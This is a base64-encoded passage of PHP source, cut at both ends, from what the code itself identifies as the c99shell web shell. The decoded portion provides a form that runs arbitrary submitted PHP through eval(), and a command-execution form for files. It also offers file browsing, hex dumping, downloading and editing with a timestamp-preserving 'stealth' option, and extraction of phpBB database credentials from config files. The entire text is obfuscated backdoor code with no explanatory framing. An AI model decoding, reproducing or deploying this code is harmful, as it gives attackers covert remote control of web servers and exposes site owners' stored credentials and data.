AkdGFiID0gYXJyYXlfbWVyZ2UoJHRhYiwkcHJjcyk7DQogICBlY2hvICI8VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9XCIjQzBDMEMwXCI+IjsNCiAgIGZvcmVhY2goJHRhYiBhcyAkaykNCiAgIHsNCiAgICBlY2hvICI8dHI+IjsNCiAgICBmb3JlYWNoKCRrIGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICAgZWNobyAiPC90cj4iOw0KICAgfQ0KICAgZWNobyAiPC90YWJsZT4iOw0KICB9DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImV2YWwiKQ0Kew0KIGlmICghZW1wdHkoJGV2YWwpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlPC9iPjo8YnI+IjsNCiAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgaWYgKCR0bXApDQogIHsNCiAgIG9iX2NsZWFuKCk7DQogICBldmFsKCRldmFsKTsNCiAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgIG9iX2NsZWFuKCk7DQogICBlY2hvICR0bXA7DQogICBpZiAoJGV2YWxfdHh0KQ0KICAgew0KICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7DQogICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogICB9DQogICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgfQ0KICBlbHNlDQogIHsNCiAgIGlmICgkZXZhbF90eHQpDQogICB7DQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsNCiAgICBldmFsKCRldmFsKTsNCiAgICBlY2hvICI8L3RleHRhcmVhPiI7DQogICB9DQogICBlbHNlIHtlY2hvICRyZXQ7fQ0KICB9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gdHJ1ZTt9fQ0KIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVlPVwiMVwiIjsgaWYgKCRldmFsX3R4dCkge2VjaG8gIiBjaGVja2VkIjt9IGVjaG8gIj48L2Zvcm0+IjsNCn0NCmlmICgkYWN0ID09ICJmIikNCnsNCiBpZiAoKCFpc19yZWFkYWJsZSgkZC4kZikgb3IgaXNfZGlyKCRkLiRmKSkgYW5kICRmdCAhPSAiZWRpdCIpDQogew0KICBpZiAoZmlsZV9leGlzdHMoJGQuJGYpKSB7ZWNobyAiPGNlbnRlcj48Yj5QZXJtaXNpb24gZGVuaWVkICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvYj48L2NlbnRlcj4iO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIiZjPTFcIj48dT5DcmVhdGU8L3U+PC9hPjwvY2VudGVyPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICRjID0gY291bnQoJGV4dCktMTsNCiAgJGV4dCA9ICRleHRbJGNdOw0KICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgJHJmdCA9ICIiOw0KICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICBpZiAoZXJlZ2koInNlc3NfKC4qKSIsJGYpKSB7JHJmdCA9ICJwaHBzZXNzIjt9DQogIGlmIChlbXB0eSgkZnQpKSB7JGZ0ID0gJHJmdDt9DQogICRhcnIgPSBhcnJheSgNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2h0bWxcIiBib3JkZXI9XCIwXCI+IiwiaHRtbCIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwNCiAgIGFycmF5KCJDb2RlIiwiY29kZSIpLA0KICAgYXJyYXkoIlNlc3Npb24iLCJwaHBzZXNzIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZXhlXCIgYm9yZGVyPVwiMFwiPiIsImV4ZSIpLA0KICAgYXJyYXkoIlNEQiIsInNkYiIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2dpZlwiIGJvcmRlcj1cIjBcIj4iLCJpbWciKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X3J0ZlwiIGJvcmRlcj1cIjBcIj4iLCJub3RlcGFkIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpDQogICk7DQogIGVjaG8gIjxiPlZpZXdpbmcgZmlsZTombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRmLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9iPjxicj5TZWxlY3QgYWN0aW9uL2ZpbGUtdHlwZTo8YnI+IjsNCiAgZm9yZWFjaCgkYXJyIGFzICR0KQ0KICB7DQogICBpZiAoJHRbMV0gPT0gJHJmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPVwiZ3JlZW5cIj4iLiR0WzBdLiI8L2ZvbnQ+PC9hPiI7fQ0KICAgZWxzZWlmICgkdFsxXSA9PSAkZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30NCiAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIuJHRbMF0uIjwvYj48L2E+Ijt9DQogICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7DQogIH0NCiAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICBpZiAoJGZ0ID09ICJpbmZvIikNCiAgew0KICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAiLiRkLiRmLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8L2I+PC90ZD48dGQ+ICIubWQ1X2ZpbGUoJGQuJGYpLiI8L3RkPjwvdHI+IjsNCiAgIGlmICghJHdpbikNCiAgIHsNCiAgICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOyAgICAgIA0KICAgICR0bXAgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsNCiAgICBpZiAoJHRtcFsibmFtZSJdID09ICIiKSB7ZWNobyBmaWxlb3duZXIoJGQuJGYpLiIvIjt9DQogICAgZWxzZSB7ZWNobyAkdG1wWyJuYW1lIl0uIi8iO30NCiAgICAkdG1wID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7DQogICAgaWYgKCR0bXBbIm5hbWUiXSA9PSAiIikge2VjaG8gZmlsZWdyb3VwKCRkLiRmKTt9DQogICAgZWxzZSB7ZWNobyAkdG1wWyduYW1lJ107fQ0KICAgfQ0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii51cmxlbmNvZGUoJGYpLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPiIudmlld19wZXJtc19jb2xvcigkZC4kZikuIjwvYT48L3RkPjwvdHI+PHRyPjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPkFjY2VzcyB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlYXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TU9ESUZZIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgaWYgKCRmaSkNCiAgIHsNCiAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQ0KICAgICRuID0gMDsNCiAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAkYTEgPSAiIjsNCiAgICAkYTIgPSAiIjsNCiAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykNCiAgICB7DQogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkNCiAgICAgew0KICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0KICAgICAgY2FzZSAzMjogDQogICAgICBjYXNlIDEwOg0KICAgICAgY2FzZSAxMzogJGEyIC49ICImbmJzcDsiOyBicmVhazsNCiAgICAgIGRlZmF1bHQ6ICRhMiAuPSBodG1sc3BlY2lhbGNoYXJzKCRzdHJbJGldKTsNCiAgICAgfQ0KICAgICAkbisrOw0KICAgICBpZiAoJG4gPT0gJGhleGR1bXBfcm93cykNCiAgICAgew0KICAgICAgJG4gPSAwOw0KICAgICAgaWYgKCRpKzEgPCBzdHJsZW4oJHN0cikpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkrMSkuIjxicj4iO30NCiAgICAgICRhMSAuPSAiPGJyPiI7DQogICAgICAkYTIgLj0gIjxicj4iOw0KICAgICB9DQogICAgfQ0KICAgIC8vaWYgKCRhMSAhPSAiIikgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSkuIjxicj4iO30NCiAgICBlY2hvICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj0jNjY2NjY2IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9ND48dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTEuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGEyLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgIH0NCiAgICRlbmNvZGVkID0gIiI7DQogICBpZiAoJGJhc2U2NCA9PSAxKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGU8L2I+PGJyPiI7DQogICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSAyKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKSk7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSAzKQ0KICAgew0KICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgICAkZW5jb2RlZCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoIiEuezEsNzZ9ISIsIidcXDAnLlxuIiwkZW5jb2RlZCksMCwtMik7DQogICB9DQogICBlbHNlaWYoJGJhc2U2NCA9PSA0KQ0KICAgew0KICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICRlbmNvZGVkID0gYmFzZTY0X2RlY29kZSgkdGV4dCk7DQogICAgZWNobyAiPGI+QmFzZTY0IERlY29kZSI7DQogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9DQogICAgZWNobyAiPC9iPjxicj4iOw0KICAgfQ0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpDQogICB7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZWQpLiI8L3RleHRhcmVhPjxicj48YnI+IjsNCiAgIH0NCiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZmdWxsaGV4ZHVtcD0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZD0iLnVybGVuY29kZSgkZCkuIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0zJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9NCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25vYnI+DQo8UD4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJodG1sIikNCiAgew0KICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30NCiAgIGVjaG8gJHI7DQogICBpZiAoJHdoaXRlKSB7ZXhpdDt9DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInR4dCIpIHtlY2hvICI8cHJlPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiaW5pIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAocGFyc2VfaW5pX2ZpbGUoJGQuJGYsdHJ1ZSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gInBocHNlc3MiKQ0KICB7DQogICBlY2hvICI8cHJlPiI7DQogICAkdiA9IGV4cGxvZGUoInwiLCRyKTsNCiAgIGVjaG8gJHZbMF0uIjxicj4iOw0KICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsNCiAgIGVjaG8gIjwvcHJlPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImV4ZSIpDQogIHsNCiAgICRleHQgPSBleHBsb2RlKCIuIiwkZik7DQogICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAkZXh0ID0gJGV4dFskY107DQogICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsNCiAgICRyZnQgPSAiIjsNCiAgIGZvcmVhY2goJGV4ZWZ0eXBlcyBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9DQogICB9DQogICAkY21kID0gc3RyX3JlcGxhY2UoIiVmJSIsJGYsJHJmdCk7DQogICBlY2hvICI8Yj5FeGVjdXRlIGZpbGU6PC9iPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuImFjdD1jbWRcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNtZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiJcIiBzaXplPVwiIi4oc3RybGVuKCRjbWQpKzIpLiJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkV4ZWN1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAic2RiIikge2VjaG8gIjxwcmU+IjsgdmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJjb2RlIikNCiAgew0KICAgaWYgKGVyZWcoInBocEJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKQ0KICAgew0KICAgICRhcnIgPSBleHBsb2RlKCJcbiIsJHIpOw0KICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkNCiAgICB7DQogICAgIGluY2x1ZGUoJGQuJGYpOw0KICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsNCiAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlzcWwiO30NCiAgICAgaWYgKCRkYm1zID09ICJteXNxbCIpIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNxbCZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkZGJob3N0KS4iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiImc3FsX3BvcnQ9MzMwNiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiJcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30NCiAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgYzk5c2hlbGwuIFBsZWFzZSwgcmVwb3J0IHVzIGZvciBmaXguIjt9DQogICAgIGVjaG8gIlBhcmFtZXRlcnMgZm9yIG1hbnVhbCBjb25uZWN0Ojxicj4iOw0KICAgICAkY2ZndmFycyA9IGFycmF5KCJkYm1zIj0+JGRibXMsImRiaG9zdCI9PiRkYmhvc3QsImRibmFtZSI9PiRkYm5hbWUsImRidXNlciI9PiRkYnVzZXIsImRicGFzc3dkIj0+JGRicGFzc3dkKTsNCiAgICAgZm9yZWFjaCAoJGNmZ3ZhcnMgYXMgJGs9PiR2KSB7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRrKS4iPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPGJyPiI7fQ0KICAgICBlY2hvICI8L2I+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIH0NCiAgIH0NCiAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iYWNrZ3JvdW5kIC4iO1wiPiI7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7DQogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtleGl0O30NCiAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikNCiAgew0KICAgQG9iX2NsZWFuKCk7DQogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iXCI7Iik7DQogICBlY2hvICRyOw0KICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpDQogIHsNCiAgIEBvYl9jbGVhbigpOw0KICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsNCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICBlY2hvKCRyKTsNCiAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImltZyIpDQogIHsNCiAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgaWYgKCEkd2hpdGUpDQogICB7DQogICAgaWYgKGVtcHR5KCRpbWdzaXplKSkgeyRpbWdzaXplID0gMjA7fQ0KICAgICR3aWR0aCA9ICRpbmZbMF0vMTAwKiRpbWdzaXplOw0KICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICBlY2hvICI8Y2VudGVyPjxiPlNpemU6PC9iPiZuYnNwOyI7DQogICAgJHNpemVzID0gYXJyYXkoIjEwMCIsIjUwIiwiMjAiKTsNCiAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpDQogICAgew0KICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbWcmZD0iLnVybGVuY29kZSgkZCkuIiZpbWdzaXplPSIuJHYuIlwiPiI7DQogICAgIGlmICgkaW1nc2l6ZSAhPSAkdiApIHtlY2hvICR2O30NCiAgICAgZWxzZSB7ZWNobyAiPHU+Ii4kdi4iPC91PiI7fQ0KICAgICBlY2hvICI8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICB9DQogICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7DQogICB9DQogICBlbHNlDQogICB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAkZXh0ID0gJGV4dFtjb3VudCgkZXh0KS0xXTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOyANCiAgICByZWFkZmlsZSgkZC4kZik7DQogICAgZXhpdDsNCiAgIH0NCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiZWRpdCIpDQogIHsNCiAgIGlmICghZW1wdHkoJHN1Ym1pdCkpDQogICB7DQogICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkZC4kZik7fQ0KICAgICRmcCA9IGZvcGVuKCRkLiRmLCJ3Iik7DQogICAgaWYgKCEkZnApIHtlY2hvICI8Yj5DYW4ndCB3cml0ZSB0byBmaWxlITwvYj4iO30NCiAgICBlbHNlDQogICAgew0KICAgICBlY2hvICI8Yj5TYXZlZCE8L2I+I